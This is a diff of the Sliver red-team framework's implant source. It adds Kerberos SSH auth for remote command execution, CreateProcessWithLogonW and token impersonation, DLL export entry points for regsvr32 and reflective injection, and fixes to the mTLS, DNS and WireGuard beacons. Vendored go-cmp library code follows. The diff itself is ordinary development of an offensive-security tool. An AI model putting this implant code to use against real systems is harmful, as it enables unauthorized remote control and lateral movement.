||||
return nil, err
|
||||
}
|
||||
authMethods = append(authMethods, ssh.PublicKeys(signer))
|
||||
} else if krb5conf != "" && keytab != nil && realm != "" {
|
||||
// Then try kerberos auth
|
||||
krb5ConfData, err := ioutil.ReadFile(krb5conf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
|
||||
} else {
|
||||
// Use ssh-agent if neither password nor private key has been provided
|
||||
// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
|
||||
@@ -35,6 +52,10 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Auth methods: %+v\n", authMethods)
|
||||
// {{end}}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: authMethods,
|
||||
@@ -53,12 +74,12 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
}
|
||||
|
||||
// RunSSHCommand - SSH to a host and execute a command
|
||||
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
|
||||
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
|
||||
var (
|
||||
stdout bytes.Buffer
|
||||
stderr bytes.Buffer
|
||||
)
|
||||
sshc, err := getClient(host, port, username, password, privKey)
|
||||
sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
+39
-18
@@ -42,17 +42,11 @@ import (
|
||||
"io/ioutil"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
|
||||
// {{end}}
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
@@ -127,6 +121,7 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
var isRunning bool = false
|
||||
|
||||
// StartW - Export for shared lib build
|
||||
//
|
||||
//export StartW
|
||||
func StartW() {
|
||||
if !isRunning {
|
||||
@@ -139,21 +134,25 @@ func StartW() {
|
||||
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
|
||||
|
||||
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
|
||||
//
|
||||
//export VoidFunc
|
||||
func VoidFunc() { main() }
|
||||
|
||||
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
|
||||
//
|
||||
//export DllInstall
|
||||
func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
//
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
//
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
@@ -409,6 +408,23 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
wg.Add(1)
|
||||
data := task.Data
|
||||
taskID := task.ID
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{else}}
|
||||
go handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
@@ -424,6 +440,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
resultsMutex.Lock()
|
||||
@@ -566,20 +583,23 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// only applies the token to the calling thread, we need to call it before every task.
|
||||
// It's fucking gross to do that here, but I could not come with a better solution.
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] sysHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[session] handler function returned an error: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{else}}
|
||||
go handler(envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
@@ -591,6 +611,7 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{end}}
|
||||
} else if handler, ok := tunHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
|
||||
@@ -9,6 +9,7 @@ package syscalls
|
||||
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
|
||||
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
|
||||
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
|
||||
//sys CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = advapi32.CreateProcessWithLogonW
|
||||
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
|
||||
//sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory
|
||||
//sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx
|
||||
|
||||
@@ -62,6 +62,7 @@ var (
|
||||
procGetDC = modUser32.NewProc("GetDC")
|
||||
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
|
||||
procReleaseDC = modUser32.NewProc("ReleaseDC")
|
||||
procCreateProcessWithLogonW = modadvapi32.NewProc("CreateProcessWithLogonW")
|
||||
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
|
||||
procLogonUserW = modadvapi32.NewProc("LogonUserW")
|
||||
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
|
||||
@@ -222,6 +223,14 @@ func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error)
|
||||
return
|
||||
}
|
||||
|
||||
func CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
|
||||
r1, _, e1 := syscall.Syscall12(procCreateProcessWithLogonW.Addr(), 11, uintptr(unsafe.Pointer(username)), uintptr(unsafe.Pointer(domain)), uintptr(unsafe.Pointer(password)), uintptr(logonFlags), uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
|
||||
if r1 == 0 {
|
||||
|
||||
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
return mtls.WriteEnvelope(conn, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
if conn != nil {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn = nil
|
||||
}
|
||||
conn = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
opts := dnsclient.ParseDNSOptions(uri)
|
||||
client, err = dnsclient.DNSStartSession(uri.Host, opts)
|
||||
client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] dns connection error %s", err)
|
||||
|
||||
@@ -59,7 +59,11 @@ var (
|
||||
wgKeyExchangePort = getWgKeyExchangePort()
|
||||
wgTcpCommsPort = getWgTcpCommsPort()
|
||||
|
||||
wgSessPrivKey string
|
||||
wgSessPubKey string
|
||||
|
||||
PingInterval = 2 * time.Minute
|
||||
failedConn = 0
|
||||
)
|
||||
|
||||
// GetTNet - Get the netstack Net object
|
||||
@@ -151,12 +155,11 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
// WGConnect - Get a wg connection or die trying
|
||||
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
|
||||
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
|
||||
func getSessKeys(address string, port uint16) error {
|
||||
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return err
|
||||
}
|
||||
|
||||
dev.Up()
|
||||
@@ -170,10 +173,10 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to wg key exchange listener: %v", err)
|
||||
// {{end}}
|
||||
return nil, nil, err
|
||||
return err
|
||||
}
|
||||
|
||||
privKey, pubKey, newIP := doKeyExchange(keyExchangeConnection)
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Signaling wg device to go down")
|
||||
@@ -186,12 +189,21 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to close device.Device: %s", err)
|
||||
// {{end}}
|
||||
return nil, nil, err
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WGConnect - Get a wg connection or die trying
|
||||
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
if wgSessPrivKey == "" || failedConn > 2 {
|
||||
getSessKeys(address, port)
|
||||
}
|
||||
|
||||
// Bring up second wireguard connection using retrieved keys and IP
|
||||
_, dev, tNet, err = bringUpWGInterface(address, port, privKey, pubKey, newIP)
|
||||
// Bring up actual wireguard connection using retrieved keys and IP
|
||||
_, dev, tNet, err := bringUpWGInterface(address, port, wgSessPrivKey, wgSessPubKey, tunAddress)
|
||||
if err != nil {
|
||||
failedConn++
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
@@ -200,14 +212,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to sliver listener: %v", err)
|
||||
// {{end}}
|
||||
failedConn++
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Successfully connected to sliver listener")
|
||||
// {{end}}
|
||||
failedConn = 0
|
||||
tunnelNet = tNet
|
||||
tunAddress = newIP
|
||||
return connection, dev, nil
|
||||
}
|
||||
|
||||
|
||||
Generated
Vendored
File renamed without changes.
File renamed without changes.
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
File renamed without changes.
Generated
Vendored
+1
-1
@@ -1,4 +1,4 @@
|
||||
Copyright (c) 2019 The Go Authors. All rights reserved.
|
||||
Copyright (c) 2017 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
+667
@@ -0,0 +1,667 @@
|
||||
// Copyright 2017, The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package cmp determines equality of values.
|
||||
//
|
||||
// This package is intended to be a more powerful and safer alternative to
|
||||
// reflect.DeepEqual for comparing whether two values are semantically equal.
|
||||
// It is intended to only be used in tests, as performance is not a goal and
|
||||
// it may panic if it cannot compare the values. Its propensity towards
|
||||
// panicking means that its unsuitable for production environments where a
|
||||
// spurious panic may be fatal.
|
||||
//
|
||||
// The primary features of cmp are:
|
||||
//
|
||||
// • When the default behavior of equality does not suit the needs of the test,
|
||||
// custom equality functions can override the equality operation.
|
||||
// For example, an equality function may report floats as equal so long as they
|
||||
// are within some tolerance of each other.
|
||||
//
|
||||
// • Types that have an Equal method may use that method to determine equality.
|
||||
// This allows package authors to determine the equality operation for the types
|
||||
// that they define.
|
||||
//
|
||||
// • If no custom equality functions are used and no Equal method is defined,
|
||||
// equality is determined by recursively comparing the primitive kinds on both
|
||||
// values, much like reflect.DeepEqual. Unlike reflect.DeepEqual, unexported
|
||||
// fields are not compared by default; they result in panics unless suppressed
|
||||
// by using an Ignore option (see cmpopts.IgnoreUnexported) or explicitly
|
||||
// compared using the Exporter option.
|
||||
package cmp
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"reflect"
|
||||
"strings"
|
||||
|
||||
"github.com/google/go-cmp/cmp/internal/diff"
|
||||
"github.com/google/go-cmp/cmp/internal/function"
|
||||
"github.com/google/go-cmp/cmp/internal/value"
|
||||
)
|
||||
|
||||
// TODO(≥go1.18): Use any instead of interface{}.
|
||||
|
||||
// Equal reports whether x and y are equal by recursively applying the
|
||||
// following rules in the given order to x and y and all of their sub-values:
|
||||
//
|
||||
// • Let S be the set of all Ignore, Transformer, and Comparer options that
|
||||
// remain after applying all path filters, value filters, and type filters.
|
||||
// If at least one Ignore exists in S, then the comparison is ignored.
|
||||
// If the number of Transformer and Comparer options in S is greater than one,
|
||||
// then Equal panics because it is ambiguous which option to use.
|
||||
// If S contains a single Transformer, then use that to transform the current
|
||||
// values and recursively call Equal on the output values.
|
||||
// If S contains a single Comparer, then use that to compare the current values.
|
||||
// Otherwise, evaluation proceeds to the next rule.
|
||||
//
|
||||
// • If the values have an Equal method of the form "(T) Equal(T) bool" or
|
||||
// "(T) Equal(I) bool" where T is assignable to I, then use the result of
|
||||
// x.Equal(y) even if x or y is nil. Otherwise, no such method exists and
|
||||
// evaluation proceeds to the next rule.
|
||||
//
|
||||
// • Lastly, try to compare x and y based on their basic kinds.
|
||||
// Simple kinds like booleans, integers, floats, complex numbers, strings, and
|
||||
// channels are compared using the equivalent of the == operator in Go.
|
||||
// Functions are only equal if they are both nil, otherwise they are unequal.
|
||||
//
|
||||
// Structs are equal if recursively calling Equal on all fields report equal.
|
||||
// If a struct contains unexported fields, Equal panics unless an Ignore option
|
||||
// (e.g., cmpopts.IgnoreUnexported) ignores that field or the Exporter option
|
||||
// explicitly permits comparing the unexported field.
|
||||
//
|
||||
// Slices are equal if they are both nil or both non-nil, where recursively
|
||||
// calling Equal on all non-ignored slice or array elements report equal.
|
||||
// Empty non-nil slices and nil slices are not equal; to equate empty slices,
|
||||
// consider using cmpopts.EquateEmpty.
|
||||
//
|
||||
// Maps are equal if they are both nil or both non-nil, where recursively
|
||||
// calling Equal on all non-ignored map entries report equal.
|
||||
// Map keys are equal according to the == operator.
|
||||
// To use custom comparisons for map keys, consider using cmpopts.SortMaps.
|
||||
// Empty non-nil maps and nil maps are not equal; to equate empty maps,
|
||||
// consider using cmpopts.EquateEmpty.
|
||||
//
|
||||
// Pointers and interfaces are equal if they are both nil or both non-nil,
|
||||
// where they have the same underlying concrete type and recursively
|
||||
// calling Equal on the underlying values reports equal.
|
||||
//
|
||||
// Before recursing into a pointer, slice element, or map, the current path
|
||||
// is checked to detect whether the address has already been visited.
|
||||
// If there is a cycle, then the pointed at values are considered equal
|
||||
// only if both addresses were previously visited in the same path step.
|
||||
func Equal(x, y interface{}, opts ...Option) bool {
|
||||
s := newState(opts)
|
||||
s.compareAny(rootStep(x, y))
|
||||
return s.result.Equal()
|
||||
}
|
||||
|
||||
// Diff returns a human-readable report of the differences between two values:
|
||||
// y - x. It returns an empty string if and only if Equal returns true for the
|
||||
// same input values and options.
|
||||
//
|
||||
// The output is displayed as a literal in pseudo-Go syntax.
|
||||
// At the start of each line, a "-" prefix indicates an element removed from x,
|
||||
// a "+" prefix to indicates an element added from y, and the lack of a prefix
|
||||
// indicates an element common to both x and y. If possible, the output
|
||||
// uses fmt.Stringer.String or error.Error methods to produce more humanly
|
||||
// readable outputs. In such cases, the string is prefixed with either an
|
||||
// 's' or 'e' character, respectively, to indicate that the method was called.
|
||||
//
|
||||
// Do not depend on this output being stable. If you need the ability to
|
||||
// programmatically interpret the difference, consider using a custom Reporter.
|
||||
func Diff(x, y interface{}, opts ...Option) string {
|
||||
s := newState(opts)
|
||||
|
||||
// Optimization: If there are no other reporters, we can optimize for the
|
||||
// common case where the result is equal (and thus no reported difference).
|
||||
// This avoids the expensive construction of a difference tree.
|
||||
if len(s.reporters) == 0 {
|
||||
s.compareAny(rootStep(x, y))
|
||||
if s.result.Equal() {
|
||||
return ""
|
||||
}
|
||||
s.result = diff.Result{} // Reset results
|
||||
}
|
||||
|
||||
r := new(defaultReporter)
|
||||
s.reporters = append(s.reporters, reporter{r})
|
||||
s.compareAny(rootStep(x, y))
|
||||
d := r.String()
|
||||
if (d == "") != s.result.Equal() {
|
||||
panic("inconsistent difference and equality results")
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
// rootStep constructs the first path step. If x and y have differing types,
|
||||
// then they are stored within an empty interface type.
|
||||
func rootStep(x, y interface{}) PathStep {
|
||||
vx := reflect.ValueOf(x)
|
||||
vy := reflect.ValueOf(y)
|
||||
|
||||
// If the inputs are different types, auto-wrap them in an empty interface
|
||||
// so that they have the same parent type.
|
||||
var t reflect.Type
|
||||
if !vx.IsValid() || !vy.IsValid() || vx.Type() != vy.Type() {
|
||||
t = reflect.TypeOf((*interface{})(nil)).Elem()
|
||||
if vx.IsValid() {
|
||||
vvx := reflect.New(t).Elem()
|
||||
vvx.Set(vx)
|
||||
vx = vvx
|
||||
}
|
||||
if vy.IsValid() {
|
||||
vvy := reflect.New(t).Elem()
|
||||
vvy.Set(vy)
|
||||
vy = vvy
|
||||
}
|
||||
} else {
|
||||
t = vx.Type()
|
||||
}
|
||||
|
||||
return &pathStep{t, vx, vy}
|
||||
}
|
||||
|
||||
type state struct {
|
||||
// These fields represent the "comparison state".
|
||||
// Calling statelessCompare must not result in observable changes to these.
|
||||
result diff.Result // The current result of comparison
|
||||
curPath Path // The current path in the value tree
|
||||
curPtrs pointerPath // The current set of visited pointers
|
||||
reporters []reporter // Optional reporters
|
||||
|
||||
// recChecker checks for infinite cycles applying the same set of
|
||||
// transformers upon the output of itself.
|
||||
recChecker recChecker
|
||||
|
||||
// dynChecker triggers pseudo-random checks for option correctness.
|
||||
// It is safe for statelessCompare to mutate this value.
|
||||
dynChecker dynChecker
|
||||
|
||||
// These fields, once set by processOption, will not change.
|
||||
exporters []exporter // List of exporters for structs with unexported fields
|
||||
opts Options // List of all fundamental and filter options
|
||||
}
|
||||
|
||||
func newState(opts []Option) *state {
|
||||
// Always ensure a validator option exists to validate the inputs.
|
||||
s := &state{opts: Options{validator{}}}
|
||||
s.curPtrs.Init()
|
||||
s.processOption(Options(opts))
|
||||
return s
|
||||
}
|
||||
|
||||
func (s *state) processOption(opt Option) {
|
||||
switch opt := opt.(type) {
|
||||
case nil:
|
||||
case Options:
|
||||
for _, o := range opt {
|
||||
s.processOption(o)
|
||||
}
|
||||
case coreOption:
|
||||
type filtered interface {
|
||||
isFiltered() bool
|
||||
}
|
||||
if fopt, ok := opt.(filtered); ok && !fopt.isFiltered() {
|
||||
panic(fmt.Sprintf("cannot use an unfiltered option: %v", opt))
|
||||
}
|
||||
s.opts = append(s.opts, opt)
|
||||
case exporter:
|
||||
s.exporters = append(s.exporters, opt)
|
||||
case reporter:
|
||||
s.reporters = append(s.reporters, opt)
|
||||
default:
|
||||
panic(fmt.Sprintf("unknown option %T", opt))
|
||||
}
|
||||
}
|
||||
|
||||
// statelessCompare compares two values and returns the result.
|
||||
// This function is stateless in that it does not alter the current result,
|
||||
// or output to any registered reporters.
|
||||
func (s *state) statelessCompare(step PathStep) diff.Result {
|
||||
// We do not save and restore curPath and curPtrs because all of the
|
||||
// compareX methods should properly push and pop from them.
|
||||
// It is an implementation bug if the contents of the paths differ from
|
||||
// when calling this function to when returning from it.
|
||||
|
||||
oldResult, oldReporters := s.result, s.reporters
|
||||
s.result = diff.Result{} // Reset result
|
||||
s.reporters = nil // Remove reporters to avoid spurious printouts
|
||||
s.compareAny(step)
|
||||
res := s.result
|
||||
s.result, s.reporters = oldResult, oldReporters
|
||||
return res
|
||||
}
|
||||
|
||||
func (s *state) compareAny(step PathStep) {
|
||||
// Update the path stack.
|
||||
s.curPath.push(step)
|
||||
defer s.curPath.pop()
|
||||
for _, r := range s.reporters {
|
||||
r.PushStep(step)
|
||||
defer r.PopStep()
|
||||
}
|
||||
s.recChecker.Check(s.curPath)
|
||||
|
||||
// Cycle-detection for slice elements (see NOTE in compareSlice).
|
||||
t := step.Type()
|
||||
vx, vy := step.Values()
|
||||
if si, ok := step.(SliceIndex); ok && si.isSlice && vx.IsValid() && vy.IsValid() {
|
||||
px, py := vx.Addr(), vy.Addr()
|
||||
if eq, visited := s.curPtrs.Push(px, py); visited {
|
||||
s.report(eq, reportByCycle)
|
||||
return
|
||||
}
|
||||
defer s.curPtrs.Pop(px, py)
|
||||
}
|
||||
|
||||
// Rule 1: Check whether an option applies on this node in the value tree.
|
||||
if s.tryOptions(t, vx, vy) {
|
||||
return
|
||||
}
|
||||
|
||||
// Rule 2: Check whether the type has a valid Equal method.
|
||||
if s.tryMethod(t, vx, vy) {
|
||||
return
|
||||
}
|
||||
|
||||
// Rule 3: Compare based on the underlying kind.
|
||||
switch t.Kind() {
|
||||
case reflect.Bool:
|
||||
s.report(vx.Bool() == vy.Bool(), 0)
|
||||
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
|
||||
s.report(vx.Int() == vy.Int(), 0)
|
||||
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
|
||||
s.report(vx.Uint() == vy.Uint(), 0)
|
||||
case reflect.Float32, reflect.Float64:
|
||||
s.report(vx.Float() == vy.Float(), 0)
|
||||
case reflect.Complex64, reflect.Complex128:
|
||||
s.report(vx.Complex() == vy.Complex(), 0)
|
||||
case reflect.String:
|
||||
s.report(vx.String() == vy.String(), 0)
|
||||
case reflect.Chan, reflect.UnsafePointer:
|
||||
s.report(vx.Pointer() == vy.Pointer(), 0)
|
||||
case reflect.Func:
|
||||
s.report(vx.IsNil() && vy.IsNil(), 0)
|
||||
case reflect.Struct:
|
||||
s.compareStruct(t, vx, vy)
|
||||
case reflect.Slice, reflect.Array:
|
||||
s.compareSlice(t, vx, vy)
|
||||
case reflect.Map:
|
||||
s.compareMap(t, vx, vy)
|
||||
case reflect.Ptr:
|
||||
s.comparePtr(t, vx, vy)
|
||||
case reflect.Interface:
|
||||
s.compareInterface(t, vx, vy)
|
||||
default:
|
||||
panic(fmt.Sprintf("%v kind not handled", t.Kind()))
|
||||
}
|
||||
}
|
||||
|
||||
func (s *state) tryOptions(t reflect.Type, vx, vy reflect.Value) bool {
|
||||
// Evaluate all filters and apply the remaining options.
|
||||
if opt := s.opts.filter(s, t, vx, vy); opt != nil {
|
||||
opt.apply(s, vx, vy)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *state) tryMethod(t reflect.Type, vx, vy reflect.Value) bool {
|
||||
// Check if this type even has an Equal method.
|
||||
m, ok := t.MethodByName("Equal")
|
||||
if !ok || !function.IsType(m.Type, function.EqualAssignable) {
|
||||
return false
|
||||
}
|
||||
|
||||
eq := s.callTTBFunc(m.Func, vx, vy)
|
||||
s.report(eq, reportByMethod)
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *state) callTRFunc(f, v reflect.Value, step Transform) reflect.Value {
|
||||
if !s.dynChecker.Next() {
|
||||
return f.Call([]reflect.Value{v})[0]
|
||||
}
|
||||
|
||||
// Run the function twice and ensure that we get the same results back.
|
||||
// We run in goroutines so that the race detector (if enabled) can detect
|
||||
// unsafe mutations to the input.
|
||||
c := make(chan reflect.Value)
|
||||
go detectRaces(c, f, v)
|
||||
got := <-c
|
||||
want := f.Call([]reflect.Value{v})[0]
|
||||
if step.vx, step.vy = got, want; !s.statelessCompare(step).Equal() {
|
||||
// To avoid false-positives with non-reflexive equality operations,
|
||||
// we sanity check whether a value is equal to itself.
|
||||
if step.vx, step.vy = want, want; !s.statelessCompare(step).Equal() {
|
||||
return want
|
||||
}
|
||||
panic(fmt.Sprintf("non-deterministic function detected: %s", function.NameOf(f)))
|
||||
}
|
||||
return want
|
||||
}
|
||||
|
||||
func (s *state) callTTBFunc(f, x, y reflect.Value) bool {
|
||||
if !s.dynChecker.Next() {
|
||||
return f.Call([]reflect.Value{x, y})[0].Bool()
|
||||
}
|
||||
|
||||
// Swapping the input arguments is sufficient to check that
|
||||
// f is symmetric and deterministic.
|
||||
// We run in goroutines so that the race detector (if enabled) can detect
|
||||
// unsafe mutations to the input.
|
||||
c := make(chan reflect.Value)
|
||||
go detectRaces(c, f, y, x)
|
||||
got := <-c
|
||||
want := f.Call([]reflect.Value{x, y})[0].Bool()
|
||||
if !got.IsValid() || got.Bool() != want {
|
||||
panic(fmt.Sprintf("non-deterministic or non-symmetric function detected: %s", function.NameOf(f)))
|
||||
}
|
||||
return want
|
||||
}
|
||||
|
||||
func detectRaces(c chan<- reflect.Value, f reflect.Value, vs ...reflect.Value) {
|
||||
var ret reflect.Value
|
||||
defer func() {
|
||||
recover() // Ignore panics, let the other call to f panic instead
|
||||
c <- ret
|
||||
}()
|
||||
ret = f.Call(vs)[0]
|
||||
}
|
||||
|
||||
